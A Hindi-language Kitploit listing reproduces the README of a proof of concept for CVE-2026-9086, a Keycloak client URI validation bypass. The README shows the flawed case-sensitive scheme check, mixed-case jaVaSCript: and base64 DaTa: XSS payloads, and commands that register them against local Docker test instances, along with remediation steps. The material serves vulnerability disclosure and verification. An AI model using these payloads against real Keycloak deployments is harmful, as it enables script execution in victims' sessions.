Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-9086-poc — CVE-2026-9086 के लिए प्रूफ-ऑफ-कॉन्सेप्ट: मिश्रित केस javascript: और data: XSS पेलोड का उपयोग करके Keycloak क्लाइंट URI सत्यापन बाईपास, जिसमें कमजोर और सुधारे गए संस्करणों का Docker-आधारित सत्यापन शामिल है। | Kitploit
उपकरण/GitHubGitHub/saku0512/cve-2026-9086-poc
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणवेब सुरक्षालर्निंग और शिक्षालैब और अभ्यास
GitHubsaku0512/cve-2026-9086-poc

CVE-2026-9086-poc

CVE-2026-9086 के लिए प्रूफ-ऑफ-कॉन्सेप्ट: मिश्रित केस javascript: और data: XSS पेलोड का उपयोग करके Keycloak क्लाइंट URI सत्यापन बाईपास, जिसमें कमजोर और सुधारे गए संस्करणों का Docker-आधारित सत्यापन शामिल है।

रिपॉजिटरी देखें
110 दिन पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-9086: Keycloak URI स्कीम सत्यापन बाइपास XSS PoC

अंग्रेज़ी संस्करण

अवलोकन

यह रिपॉजिटरी Keycloak के क्लाइंट URI सत्यापन में विद्यमान क्रॉस-साइट स्क्रिप्टिंग (XSS) भेद्यता CVE-2026-9086 का Proof of Concept (PoC) है।

कमजोर (भेद्य) Keycloak, क्लाइंट में सेट किए गए URI की javascript: और data: स्कीम की जाँच केस-सेंसिटिव (अक्षरों के बड़े/छोटे में भेद) तरीके से करता था। इसलिए, jaVaSCript: या DaTa: जैसे मिश्रित-केस लेखन का उपयोग करके प्रतिबंधित स्कीम की जाँच को दरकिनार किया जा सकता है। ब्राउज़र URI स्कीम की व्याख्या केस-इनसेंसिटिव (बड़े/छोटे अक्षरों की परवाह किए बिना) करता है, इसलिए यदि पीड़ित किसी गढ़े गए लिंक पर क्लिक करता है, तो Keycloak ओरिजिन पर JavaScript निष्पादित होने की संभावना होती है।

इस PoC में, Keycloak 26.6.3 (भेद्य संस्करण) और 26.6.4 (पैच किया गया संस्करण) को Docker में प्रारंभ किया जाता है, वही मिश्रित-केस URI Admin REST API से पंजीकृत किया जाता है। भेद्य संस्करण में पंजीकरण सफल होता है, जबकि पैच किए गए संस्करण में HTTP 400 द्वारा अस्वीकार होता है, इसकी पुष्टि की जाती है।

यह PoC पंजीकृत URI को ब्राउज़र में नहीं खोलता और JavaScript निष्पादित नहीं करता।


अस्वीकरण

यह प्रोजेक्ट केवल शैक्षिक उद्देश्यों और अधिकृत सुरक्षा परीक्षण के लिए है। कृपया तीसरे पक्ष के Keycloak वातावरण के बिना अनुमति के परीक्षण में इसका उपयोग न करें। इस टूल के दुरुपयोग, क्षति या अवैध कार्यों के लिए लेखक कोई ज़िम्मेदारी नहीं लेता है।


भेद्यता विवरण

  • CVE ID: CVE-2026-9086
  • उत्पाद: Keycloak / Red Hat build of Keycloak
  • प्रकार: Cross-Site Scripting (CWE-79)
  • CVSS v3.1: 7.3 High (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N)
  • आवश्यक अनुमति: manage-client अनुमति, या क्लाइंट पंजीकरण एंडपॉइंट तक पहुंच
  • उपयोगकर्ता क्रिया: गढ़े गए लिंक पर क्लिक करना आवश्यक
  • PoC लक्षित संस्करण: Keycloak 26.6.3
  • PoC पैच संस्करण: Keycloak 26.6.4
  • प्रभावित दायरा (NVD CPE): Red Hat build of Keycloak 26.4 या उससे ऊपर लेकिन 26.4.13 से कम, 26.6 या उससे ऊपर लेकिन 26.6.4 से कम

मूल कारण

पैच से पहले DefaultClientValidationProvider प्रतिबंधित स्कीम की तुलना String.equals() से करता था।

root@kitploit:~
if (uri.getScheme() != null
        && (uri.getScheme().equals("data")
        || uri.getScheme().equals("javascript"))) {
    // reject
}

java.net.URI#getScheme() इनपुट के अक्षरों के बड़े/छोटे होने को बनाए रखता है, इसलिए निम्न URI तुलना से मेल नहीं खाते और सत्यापन को पार कर जाते हैं।

root@kitploit:~
jaVaSCript:alert(document.domain)
DaTa:text/html;base64,PHNjcmlwdD5jb25maXJtKGRvY3VtZW50LmRvbWFpbik7PC9zY3JpcHQ+

पैच किए गए संस्करण में equalsIgnoreCase() का उपयोग किया जाता है।

root@kitploit:~
if (uri.getScheme() != null
        && (uri.getScheme().equalsIgnoreCase("data")
        || uri.getScheme().equalsIgnoreCase("javascript"))) {
    // reject
}

Proof of Concept (उपयोग विधि)

1. वातावरण प्रारंभ करें

Docker Compose से भेद्य संस्करण और पैच किए गए संस्करण को प्रारंभ करें।

root@kitploit:~
docker compose up -d

प्रारंभ किए जाने वाले:

URLसंस्करणअपेक्षित परिणाम
http://localhost:8180Keycloak 26.6.3URI पंजीकरण सफल (भेद्य)
http://localhost:8181Keycloak 26.6.4HTTP 400 (पैच किया हुआ)

पहली बार प्रारंभ होने में थोड़ा समय लगता है। निम्न कमांड से स्थिति देखी जा सकती है।

root@kitploit:~
docker compose logs -f

जब दोनों लॉग में Listening on दिखाई दे, तो Ctrl+C से लॉग दृश्य समाप्त करें।

2. भेद्य संस्करण का सत्यापन

root@kitploit:~
python3 exploit.py \
  -t http://localhost:8180 \
  -u admin \
  -p admin \
  --expect vulnerable

अपेक्षित आउटपुट:

root@kitploit:~
[!] VULNERABLE: Keycloak accepted the mixed-case javascript: URI.

स्क्रिप्ट निर्मित क्लाइंट को Admin API से पुनः प्राप्त करता है, और यह भी सत्यापित करता है कि गढ़ा गया URI सहेजा गया था।

3. पैच किए गए संस्करण का सत्यापन

root@kitploit:~
python3 exploit.py \
  -t http://localhost:8181 \
  -u admin \
  -p admin \
  --expect fixed

अपेक्षित आउटपुट:

root@kitploit:~
[+] FIXED: Keycloak rejected the mixed-case javascript: URI.

4. data: स्कीम का सत्यापन

--scheme data निर्दिष्ट करने पर, मिश्रित-केस DaTa: URI का सत्यापन किया जा सकता है।

root@kitploit:~
python3 exploit.py -t http://localhost:8180 --scheme data --expect vulnerable
python3 exploit.py -t http://localhost:8181 --scheme data --expect fixed

5. क्लीनअप

root@kitploit:~
docker compose down -v

PoC की कार्यप्रणाली

exploit.py केवल निम्नलिखित कार्य करता है:

  1. admin-cli का उपयोग करके एडमिन एक्सेस टोकन प्राप्त करना
  2. यादृच्छिक क्लाइंट ID उत्पन्न करना
  3. मिश्रित-केस jaVaSCript: या DaTa: URI को redirectUris में सेट करना
  4. /admin/realms/master/clients पर क्लाइंट निर्माण अनुरोध भेजना
  5. भेद्य संस्करण में सहेजे गए क्लाइंट को पुनः प्राप्त करके URI की पुष्टि करना
  6. पैच किए गए संस्करण में HTTP 400 और प्रतिबंधित स्कीम की त्रुटि की पुष्टि करना

यह ब्राउज़र प्रारंभ नहीं करता, पंजीकृत URI पर नहीं जाता, और JavaScript निष्पादित नहीं करता।

निवारण

Keycloak 26.6 श्रृंखला को 26.6.4 या उससे बाद के संस्करण में, और Red Hat build of Keycloak 26.4 श्रृंखला को 26.4.13 या उससे बाद के संस्करण में अपडेट करें।

साथ ही, मौजूदा क्लाइंट की URI सेटिंग्स का ऑडिट करें और केस (बड़े/छोटे अक्षर) की परवाह किए बिना javascript: या data: का उपयोग करने वाले मानों को हटा दें। manage-client अनुमति और क्लाइंट पंजीकरण एंडपॉइंट तक पहुंच को भी न्यूनतम आवश्यकताओं तक सीमित करें।

संदर्भ

  • NVD: CVE-2026-9086
  • Red Hat: CVE-2026-9086
  • Keycloak issue #50347
  • Keycloak fix commit 32cdceb
टूल डाउनलोड करें